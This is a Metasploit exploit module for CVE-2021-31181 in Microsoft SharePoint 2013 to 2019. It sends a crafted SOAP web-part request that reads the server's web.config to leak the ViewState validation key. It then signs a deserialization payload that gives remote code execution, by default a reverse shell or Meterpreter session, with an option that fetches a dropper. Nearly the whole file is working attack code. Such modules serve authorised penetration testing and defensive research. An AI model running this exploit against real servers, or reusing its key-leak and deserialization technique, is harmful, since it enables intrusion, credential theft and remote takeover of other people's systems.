Microsoft SharePoint Unsafe Control and ViewState RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Sharepoint
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  XML_NS = {
    'wpp' => 'http://microsoft.com/sharepoint/webpartpages',
    'soap' => 'http://www.w3.org/2003/05/soap-envelope',
    'xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
    'xsd' => 'http://www.w3.org/2001/XMLSchema'
  }.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft SharePoint Unsafe Control and ViewState RCE',
        'Description' => %q{
          The EditingPageParser.VerifyControlOnSafeList method fails to properly validate user supplied data. This
          can be leveraged by an attacker to leak sensitive information in rendered-preview content. This module will
          leak the ViewState validation key and then use it to sign a crafted object that will trigger code execution
          when deserialized.

          Tested against SharePoint 2019 and SharePoint 2016, both on Windows Server 2016.
        },
        'Author' => [
          'Unknown', # Reported to HP ZDI team, Vulnerability discovery
          'Spencer McIntyre', # Module
          'wvu' # Module
        ],
        'References' => [
          [ 'CVE', '2021-31181' ],
          [ 'ZDI', '21-573' ],
          [ 'URL', 'https://www.zerodayinitiative.com/blog/2021/6/1/cve-2021-31181-microsoft-sharepoint-webpart-interpretation-conflict-remote-code-execution-vulnerability' ]
        ],
        'DisclosureDate' => '2021-05-11',
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
                'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'
              }
            }
          ],
          [
            'PowerShell Stager',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :psh_stager,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
              }
            }
          ]
        ],
        'DefaultTarget' => 2,
        'DefaultOptions' => {
          'DotNetGadgetChain' => :TypeConfuseDelegate
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('VALIDATION_KEY', [false, 'ViewState validation key']),
      OptString.new('COOKIE', [false, 'SharePoint cookie if you have one']),
      OptString.new('SP_LIST', [true, 'SharePoint site SPList', 'Documents']),
      # "Promote" these advanced options so we don't have to pass around our own
      OptString.new('HttpUsername', [false, 'SharePoint username']),
      OptString.new('HttpPassword', [false, 'SharePoint password'])
    ])
  end

  def post_auth?
    true
  end

  def username
    datastore['HttpUsername']
  end

  def password
    datastore['HttpPassword']
  end

  def cookie
    datastore['COOKIE']
  end

  def vuln_builds
    # https://docs.microsoft.com/en-us/officeupdates/sharepoint-updates
    # https://buildnumbers.wordpress.com/sharepoint/
    # Patched in May of 2021
    [
      [Rex::Version.new('15.0.0.0'), Rex::Version.new('15.0.0.5337')], # SharePoint 2013
      [Rex::Version.new('16.0.0.0'), Rex::Version.new('16.0.0.5149')], # SharePoint 2016
      [Rex::Version.new('16.0.0.10000'), Rex::Version.new('16.0.0.10373')] # SharePoint 2019
    ]
  end

  def check
    build = sharepoint_get_version('cookie' => cookie)

    if build.nil?
      return CheckCode::Unknown('Failed to retrieve the SharePoint version number')
    end

    if vuln_builds.any? { |build_range| build.between?(*build_range) }
      return CheckCode::Appears("SharePoint #{build} is a vulnerable build.")
    end

    CheckCode::Safe("SharePoint #{build} is not a vulnerable build.")
  end

  def exploit
    if (username.blank? && password.blank?)
      if cookie.blank?
        fail_with(Failure::BadConfig, 'HttpUsername and HttpPassword or COOKIE are required for exploitation')
      end

      print_warning('Using the specified COOKIE for authentication')
    end

    if (@validation_key = datastore['VALIDATION_KEY'])
      print_status("Using ViewState validation key #{@validation_key}")
    else
      leak_web_config
    end

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :win_cmd
      execute_command(payload.encoded)
    when :win_dropper
      execute_cmdstager
    when :psh_stager
      execute_command(cmd_psh_payload(
        payload.encoded,
        payload.arch.first,
        remove_comspec: true
      ))
    end
  end

  def leak_web_config
    print_status('Leaking the ViewState validation key...')

    web_id = sharepoint_get_site_web_id('cookie' => cookie)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve the site web ID') unless web_id

    webpart = <<~WEBPART
      <%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPage" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
      <%@ Register TagPrefix="att" Namespace="System.Web.UI.WebControls " Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %>
    WEBPART
    webpart << Nokogiri::XML(<<-WEBPART, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
      <WebPartPages:XsltListFormWebPart id="id01" runat="server" ListDisplayName="#{datastore['SP_LIST'].encode(xml: :text)}" WebId="{#{web_id.encode(xml: :text)}}">
        <DataSources>
          <att:xmldatasource runat="server" id="XDS1"
            XPath="/configuration/system.web/machineKey"
            datafile="c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config" />
        </DataSources>
        <xsl>
            <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
                <xsl:output method="xml" indent="yes" />
                <xsl:template match="/">
                    <xsl:copy-of select="." />
                </xsl:template>
            </xsl:stylesheet>
        </xsl>
      </WebPartPages:XsltListFormWebPart>
    WEBPART

    envelope = '<?xml version="1.0" encoding="utf-8"?>'
    envelope << Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
      <soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
        <soap12:Body>
          <RenderWebPartForEdit xmlns="http://microsoft.com/sharepoint/webpartpages">
            <webPartXml>#{webpart.encode(xml: :text)}</webPartXml>
          </RenderWebPartForEdit>
        </soap12:Body>
      </soap12:Envelope>
    ENVELOPE

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '_vti_bin', 'WebPartPages.asmx'),
      'cookie' => cookie,
      'ctype' => 'application/soap+xml; charset=utf-8',
      'data' => envelope
    )

    unless res
      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
    end

    unless res.code == 200
      fail_with(Failure::NotFound, "Failed to retrieve #{normalize_uri(target_uri.path, '_vti_bin', 'WebPartPages.asmx')}")
    end

    xml_response = res.get_xml_document
    if xml_response.nil?
      fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (non-XML response body)')
    end

    xml_result = xml_response.xpath('//wpp:RenderWebPartForEditResult', XML_NS)&.text
    unless xml_result
      fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //wpp:RenderWebPartForEditResult)')
    end

    xml_result = Nokogiri::XML(xml_result)
    web_part_pages = Nokogiri::XML(xml_result.xpath('//Properties').text)
    unless web_part_pages&.root
      fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //Properties)')
    end

    unless (preview = web_part_pages.root.attr('__designer:Preview'))
      fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing attribute: __desiginer:Preview)')
    end
    preview = Nokogiri::HTML(CGI.unescapeHTML(preview))
    unless (@validation_key = preview.at('//machinekey/@validationkey')&.text)
      fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //machinekey/@validationkey)')
    end

    print_good("ViewState validation key: #{@validation_key}")
  end

  def execute_command(cmd, _opts = {})
    sharepoint_execute_command_via_viewstate(cmd, @validation_key, { 'cookie' => cookie })
  end
end